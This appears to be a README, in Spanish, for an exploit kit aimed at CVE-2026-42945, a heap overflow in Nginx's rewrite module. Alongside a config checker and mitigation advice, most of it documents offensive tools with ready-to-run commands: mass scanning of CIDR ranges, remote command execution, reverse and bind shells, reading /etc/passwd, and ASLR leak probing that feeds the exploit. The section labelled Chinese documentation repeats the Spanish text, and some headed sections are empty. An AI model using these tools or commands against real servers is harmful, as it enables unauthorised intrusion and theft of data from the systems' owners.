CVE-2026-42945 Nginx Rift - Kit de Prueba de Concepto (PoC)

Un kit completo de prueba de concepto para CVE-2026-42945 (Nginx Rift), una vulnerabilidad crítica de desbordamiento de búfer en el montón en el módulo ngx_http_rewrite_module de Nginx.

Resumen de la Vulnerabilidad

Causa Raíz

La vulnerabilidad existe debido a un cálculo incorrecto del tamaño entre dos pasadas internas al procesar reglas de reescritura. Si una configuración utiliza:

• Capturas de expresiones regulares sin nombre ($1, $2, etc.)
• Combinadas con una cadena de reemplazo que contiene ?

Nginx calcula mal el tamaño del búfer requerido durante la primera pasada y escribe más allá del búfer asignado en el montón durante la segunda pasada.

Ejemplo de Configuración Vulnerable

server {
    # VULNERABLE: Captura sin nombre ($1) + '?' en el reemplazo
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Configuración Segura (Parcheada)

server {
    # SEGURA: Captura con nombre (?P<path>) reemplaza a $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Componentes del Kit

1. nginx_rift_poc.py - Herramienta PoC Principal

Herramienta de escaneo y explotación de vulnerabilidad para un solo objetivo.

Características:

• Detectar la versión de Nginx desde la cabecera Server
• Comprobar si la versión está en el rango vulnerable
• Enviar cargas HTTP diseñadas para desencadenar el desbordamiento del montón
• Generar configuraciones de prueba vulnerables/seguras

Uso:

# Detectar versión y probar vulnerabilidad
python nginx_rift_poc.py -t target.example.com

# Probar con carga personalizada
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# Objetivo HTTPS
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generar configuración de prueba vulnerable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generar configuración segura (parcheada)
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - Escáner Masivo

Escáner por lotes para probar múltiples objetivos simultáneamente.

Características:

• Escaneo multi-hilo (50 hilos por defecto)
• Lista de objetivos desde archivo o rango de red CIDR
• Salida JSON para integración
• Detección automática de SSL para el puerto 443

Uso:

# Escanear desde archivo de objetivos (formato: host:puerto por línea)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Escanear un solo objetivo
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Escanear un rango de red
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# Escaneo de alta velocidad
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Formato del archivo de objetivos:

# Los comentarios comienzan con #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - Analizador de Configuración

Escanea archivos de configuración locales de Nginx en busca de patrones de reescritura vulnerables.

Características:

• Analizar nginx.conf y seguir directivas include
• Detectar capturas sin nombre con ? en cadenas de reemplazo
• Soporte de corrección automática (con copia de seguridad)
• Escaneo recursivo de directorios

Uso:

# Escanear un solo archivo
python config_checker.py /etc/nginx/nginx.conf

# Escanear directorio recursivamente
python config_checker.py -d /etc/nginx/conf.d/

# Corregir automáticamente patrones vulnerables (crea copia de seguridad .bak)
python config_checker.py --fix /etc/nginx/nginx.conf

# Detectar automáticamente rutas comunes de Nginx
python config_checker.py

4. enhanced_poc.py - PoC RCE Mejorado

Herramienta de explotación avanzada basada en la investigación oficial de depthfirst, que soporta múltiples patrones de reescritura y modos de explotación.

Características:

• Detectar automáticamente 8 patrones de reescritura vulnerables comunes (/api/, /redirect/, /user/, etc.)
• Soporte de múltiples caracteres de activación de desbordamiento (+, &, =, %)
• Generación inteligente de cargas con tamaño de desbordamiento controlado
• Múltiples modos de explotación: cmd / shell / bind / read
• Direcciones base de montón/libc personalizadas para entornos sin ASLR
• Construcción dinámica de cuerpo de spray con ngx_pool_cleanup_s falso

Uso:

# Detectar automáticamente patrones y versión
python enhanced_poc.py -t target.example.com --detect

# Ejecutar comando (ASLR desactivado)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Leer archivo remoto
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Base de montón personalizada (para objetivos sin ASLR)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Usar & como carácter de activación de desbordamiento
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Detalles del Modo de Explotación:

Configuración de Direcciones (solo sin ASLR):

• --heap-base: Base del montón del objetivo (ej. 0x555555559000)
• --libc-base: Dirección base de libc (ej. 0x7ffff77ba000)
• --system-addr: Dirección directa de system() (anula libc-base)

5. aslr_leak_detector.py - Detector de Fugas ASLR

Escáner completo para detectar fugas de información que pueden eludir la protección ASLR.

Características:

• Detección de fugas en cabeceras HTTP (Server, X-Powered-By, etc.)
• Análisis de páginas de error para direcciones de memoria y trazas de pila
• Sondeo de endpoints específicos de Nginx (/nginx_status, /actuator/*, etc.)
• Detección de fugas de direcciones de memoria (punteros de 64 bits, direcciones de montón/libc/pila)
• Sondeo del diseño del montón mediante análisis de tiempos
• Inferencia del estado de ASLR (activado/desactivado/débil)
• Integración directa con enhanced_poc.py mediante informe JSON

Uso:

# Escanear un solo objetivo
python aslr_leak_detector.py -t target.example.com

# Escanear con SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Escanear desde archivo, guardar informe
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Escanear rango de red
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Modo de escaneo rápido
python aslr_leak_detector.py -t target.example.com --quick

Integración con el PoC Mejorado:

# Paso 1: Detectar fugas
python aslr_leak_detector.py -t target.example.com -o leak.json

# Paso 2: Usar direcciones filtradas para la explotación
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Indicadores de Detección de Vulnerabilidad

La herramienta PoC identifica la vulnerabilidad mediante estos indicadores:

Instalación

No se requieren dependencias externas. Solo utiliza la biblioteca estándar de Python.

# Clonar o descargar el kit
git clone <repository-url>
cd CVE-2026-42945

# Verificar la versión de Python (se recomienda 3.7+)
python3 --version

# Ejecutar cualquier herramienta
python3 nginx_rift_poc.py --help

Versiones Afectadas

Mitigación

Acciones Inmediatas

1. Parchear Nginx a la versión 1.30.1 (estable) o 1.31.0 (principal)
2. Auditar configuraciones en busca de patrones de reescritura vulnerables
3. Activar ASLR en todos los hosts que ejecutan procesos worker de Nginx

Solución Temporal de Configuración

Si no es posible parchear de inmediato, reemplace las capturas sin nombre por capturas con nombre:

# ANTES (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# DESPUÉS (SEGURO)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

Parche Virtual WAF

Implemente reglas WAF para bloquear solicitudes malformadas dirigidas a patrones de reescritura vulnerables.

Descargo de Responsabilidad

Este kit está destinado únicamente para pruebas de seguridad autorizadas y fines de investigación.

• Úselo solo contra sistemas que posea o para los que tenga permiso explícito
• El acceso no autorizado a sistemas informáticos es ilegal
• Los autores no son responsables del mal uso o daños causados por esta herramienta
• Siempre pruebe en entornos aislados antes de usarlo en producción

CVE Relacionados

Esta vulnerabilidad se descubrió junto con otros tres problemas de corrupción de memoria:

Referencias

• Aviso de Seguridad de F5
• Seguridad de Nginx
• Detalles de CVE-2026-42945

Licencia

Este proyecto se proporciona con fines educativos y de pruebas de seguridad autorizadas.

Autor: Equipo de Investigación de Seguridad Fecha: 2026-06-11

中文说明 (Documentación en Chino)

Resumen de la Vulnerabilidad

CVE-2026-42945 (Nginx Rift) es una vulnerabilidad de desbordamiento de búfer en el montón en el módulo ngx_http_rewrite_module de Nginx, que ha existido desde 2008 (Nginx 0.6.27), permaneciendo latente durante unos 18 años.

Principio de la Vulnerabilidad

Al procesar reglas de reescritura, Nginx realiza dos análisis internos. Si la configuración cumple simultáneamente las siguientes dos condiciones:

1. Se utilizan capturas de expresiones regulares sin nombre (como $1, $2)
2. La cadena de reemplazo contiene el carácter ?

Nginx calcula incorrectamente el tamaño del búfer durante el primer análisis y, durante el segundo, escribe datos más allá del límite del búfer asignado en el montón, provocando un desbordamiento.

Ejemplo de Configuración Vulnerable (con fallo)

server {
    # Con fallo: captura sin nombre $1 + ? en la cadena de reemplazo
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Ejemplo de Configuración Segura (corregida)

server {
    # Segura: usando captura con nombre (?P<name>) en lugar de $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Descripción de los Componentes de la Herramienta

1. nginx_rift_poc.py — Herramienta PoC Principal

Herramienta de detección y explotación de vulnerabilidades para un solo objetivo.

Funciones:

• Detectar la versión de Nginx a partir de la cabecera Server
• Determinar si la versión se encuentra en el rango vulnerable
• Enviar solicitudes HTTP cuidadosamente diseñadas para desencadenar el desbordamiento del montón
• Generar configuraciones de prueba vulnerables/seguras

Ejemplos de uso:

# Detectar versión y probar vulnerabilidad
python nginx_rift_poc.py -t target.example.com

# Probar con carga útil personalizada
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# Objetivo HTTPS
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generar configuración de prueba vulnerable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generar configuración segura (corregida)
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py — Escáner por Lotes

Escáner concurrente de múltiples hilos para escanear varios objetivos a la vez.

Funciones:

• Escaneo concurrente con 50 hilos por defecto
• Admite leer objetivos desde un archivo o un rango de red CIDR
• Salida en formato JSON para integración
• Detección automática de SSL en el puerto 443

Ejemplos de uso:

# Escanear desde archivo de objetivos (formato: host:puerto por línea)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Escanear un solo objetivo
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Escanear toda una subred
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# Escaneo de alta velocidad (100 hilos)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Formato del archivo de objetivos:

# Las líneas que comienzan con # son comentarios
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py — Verificador de Archivos de Configuración

Escanea archivos de configuración locales de Nginx en busca de patrones de reescritura vulnerables.

Funciones:

• Analizar nginx.conf y resolver recursivamente los archivos referenciados por include
• Detectar directivas de reescritura que contengan capturas sin nombre + ?
• Soporte de corrección automática (crea automáticamente una copia de seguridad .bak)
• Escaneo recursivo de directorios

Ejemplos de uso:

# Escanear un solo archivo
python config_checker.py /etc/nginx/nginx.conf

# Escanear un directorio recursivamente
python config_checker.py -d /etc/nginx/conf.d/

# Corregir automáticamente configuraciones vulnerables (respaldar automáticamente el archivo original)
python config_checker.py --fix /etc/nginx/nginx.conf

# Detectar automáticamente rutas comunes de configuración de Nginx
python config_checker.py

4. enhanced_poc.py — PoC RCE Mejorado

Herramienta de explotación avanzada basada en la investigación oficial de depthfirst, soporta múltiples patrones de reescritura y métodos de explotación.

Funciones:

• Detectar automáticamente 8 patrones comunes de reescritura vulnerables (/api/, /redirect/, /user/, etc.)
• Soporta múltiples caracteres de activación de desbordamiento (+, &, =, %)
• Generación inteligente de cargas útiles con control preciso del tamaño del desbordamiento
• Múltiples modos de explotación: cmd / shell / bind / read
• Direcciones base de montón/libc personalizadas (para entornos sin ASLR)
• Construcción dinámica de cuerpo de spray, incluyendo ngx_pool_cleanup_s falso

Tabla de expansión de caracteres de activación de desbordamiento:

Ejemplos de uso:

# Detectar automáticamente el patrón de configuración y la versión
python enhanced_poc.py -t target.example.com --detect

# Ejecutar comando (entorno sin ASLR)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell (escucha en el objetivo)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Leer archivo remoto
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Base de montón personalizada
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Usar & como carácter de activación de desbordamiento
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Descripción de los modos de explotación:

Configuración de direcciones (solo para entornos sin ASLR):

• --heap-base: Dirección base del montón del objetivo (ej. 0x555555559000)
• --libc-base: Dirección base de libc (ej. 0x7ffff77ba000)
• --system-addr: Dirección directa de system() (anula libc-base)

5. aslr_leak_detector.py — Herramienta de Detección de Fugas de Información ASLR

Escáner integral para detectar vulnerabilidades de fuga de información que pueden usarse para eludir la protección ASLR.

Funciones:

• Detección de fugas en encabezados HTTP (Server, X-Powered-By, etc.)
• Análisis de páginas de error (direcciones de memoria, trazas de pila)
• Sondeo de endpoints específicos de Nginx (/nginx_status, /actuator/*, etc.)
• Detección de fugas de direcciones de memoria (punteros de 64 bits, direcciones de montón/libc/pila)
• Sondeo del diseño del montón (inferir estado de memoria a través de diferencias en tiempos de respuesta)
• Inferencia del estado de ASLR (activado/desactivado/débil)
• Integración directa con enhanced_poc.py a través de informes JSON

Ejemplos de uso:

# Escanear un solo objetivo
python aslr_leak_detector.py -t target.example.com

# Escaneo SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Escaneo por lotes desde archivo y guardar informe
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Escanear subred
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Escaneo rápido
python aslr_leak_detector.py -t target.example.com --quick

Uso conjunto con el PoC mejorado:

# Paso 1: Detectar fugas de información
python aslr_leak_detector.py -t target.example.com -o leak.json

# Paso 2: Usar las direcciones filtradas para la explotación
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Indicadores de Detección de Vulnerabilidad

La herramienta PoC determina si existe una vulnerabilidad en el objetivo mediante los siguientes fenómenos:

Instalación

No se requiere instalar dependencias de terceros, solo se necesita la biblioteca estándar de Python.

# Clonar o descargar el paquete de herramientas
git clone <repository-url>
cd CVE-2026-42945

# Verificar la versión de Python (se recomienda 3.7+)
python3 --version

# Ver la ayuda de la herramienta
python3 nginx_rift_poc.py --help

Versiones Afectadas

Medidas de Mitigación

Recomendaciones de Actuación Urgente

1. Actualizar Nginx inmediatamente a la versión 1.30.1 (estable) o 1.31.0 (principal)
2. Auditar los archivos de configuración para ver si contienen patrones de reescritura vulnerables
3. Activar ASLR, aleatorización del diseño del espacio de direcciones, para aumentar la dificultad de explotación de RCE

Solución Temporal de Mitigación (cuando no sea posible actualizar inmediatamente)

Reemplazar las capturas sin nombre por capturas con nombre:

# Antes de la modificación (con fallo)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# Después de la modificación (seguro)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

Parche Virtual WAF

Implementar reglas de firewall de aplicaciones web para interceptar solicitudes maliciosas dirigidas a patrones de reescritura vulnerables.

Descargo de Responsabilidad

Este paquete de herramientas es solo para pruebas de seguridad autorizadas y fines de investigación.

• Utilícelo únicamente en sistemas sobre los que tenga propiedad o haya obtenido autorización explícita
• El acceso no autorizado a sistemas informáticos es ilegal
• Los autores no se hacen responsables del mal uso de esta herramienta ni de los daños causados
• Pruebe siempre en un entorno aislado antes de usarlo en un entorno de producción

Vulnerabilidades Relacionadas

Esta vulnerabilidad fue descubierta por el sistema de análisis estático impulsado por IA de depthfirst, y es uno de una serie de problemas de corrupción de memoria:

Enlaces de Referencia

• Aviso de Seguridad de F5
• Aviso de Seguridad de Nginx
• Detalles de CVE-2026-42945
• Análisis Técnico de SonicWall
• Informe de Investigación de Cloud Security Alliance

Licencia de Código Abierto

Este proyecto se proporciona únicamente para fines educativos y pruebas de seguridad autorizadas.

Autor: Equipo de Investigación de Seguridad Fecha: 2026-06-11